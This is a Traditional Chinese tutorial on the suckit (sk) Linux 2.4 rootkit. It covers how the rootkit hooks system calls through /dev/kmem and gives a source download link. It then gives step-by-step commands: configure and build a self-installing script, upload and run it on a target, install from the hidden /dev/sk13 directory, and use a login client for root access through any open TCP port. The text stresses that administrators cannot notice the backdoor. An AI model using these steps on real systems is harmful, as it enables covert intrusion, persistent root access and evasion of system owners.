在 Linux 入侵領域,suckit (簡稱 sk,Super User Control Kit) 是 Linux 2.4 核心下最具代表性的 Rootkit 之一。以靜態 ELF 檔案形式存在,壓縮後僅數十 KB,無需編譯環境即可直接部署,極大降低後門植入門檻。
關鍵字: Linux 後門、Rootkit、Linux 入侵、suckit、adore-ng、ELF 感染
LKM (Loadable Kernel Module,可載入核心模組) 區別於一般應用程式的系統級程式,用於動態擴展核心功能。可動態載入記憶體,無需重新編譯核心,廣泛用於聲卡、網卡驅動。類比 MS-DOS TSR (常駐記憶體程式) 與 Windows VxD (虛擬裝置驅動)——皆為常駐記憶體程式,能捕獲系統中斷,功能極強。Linux Rootkit 多採 LKM 技術實現。
sk 核心機制:透過存取 /dev/kmem (核心記憶體裝置) 攔截並修改系統呼叫,實現後門與隱藏功能。
系統呼叫是核心提供的強大函數,為用戶程式與核心交互介面。應用層函數 (fork、open 等) 最終經軟中斷陷入核心,呼叫對應系統呼叫完成功能。修改系統呼叫入口指向,即可控制核心行為。
範例程式使用 glibc fork/exit,追蹤發現皆經軟中斷進入核心由系統呼叫實現。可見系統呼叫是用戶介面在核心中的實現——修改系統呼叫,即控制用戶對核心所有存取。隱藏檔案、進程、網路連線皆依賴篡改系統呼叫。
sk2 雖功能大幅提升,但公開版 sk2rc2 仍存 BUG,細節將於後續《Linux 後門系列——由淺入深 sk2 完全分析》披露。
安裝使用極簡單,編譯一次即可攜帶使用。
原始碼:https://www.xfocus.net/tools/200408/sk-1.3b.tar.gz
執行配置:
tthacker@wzt:~/sk# make skconfig
配置參數:
完成提示:"Configuration saved. From now, only this configuration will be used by generated binaries till you do skconfig again."
tthacker@wzt:~/sk# make
生成自我安裝腳本 inst。提示:"Okay, file 'inst' is complete, self-installing script. Just upload it somewhere, execute and you could log in using ./login binary. Have fun!"
上傳 inst 至目標系統執行:
tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install us into memory. Have fun!
安裝後所有後門程式置於隱藏目錄 /dev/sk13,管理員無法察覺。
tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000
安裝完成,使用客戶端 login (編譯 sk 時同步生成) 登入:
usage: ./login [hsditc] ...args
-h 目標主機 IP/hostname
-s 監聽回連埠 (目標有防火牆時指定;未指定則自動偵測)
-d 認證服務埠 (echo/telnet/ssh/httpd 等佳選)
-i 請求發送間隔 (秒)
-t 等待伺服器逾時 (秒)
-c 連線逾時 (秒)
只要目標開放任一 TCP 埠,即可透過該埠以 root 權限進入系統。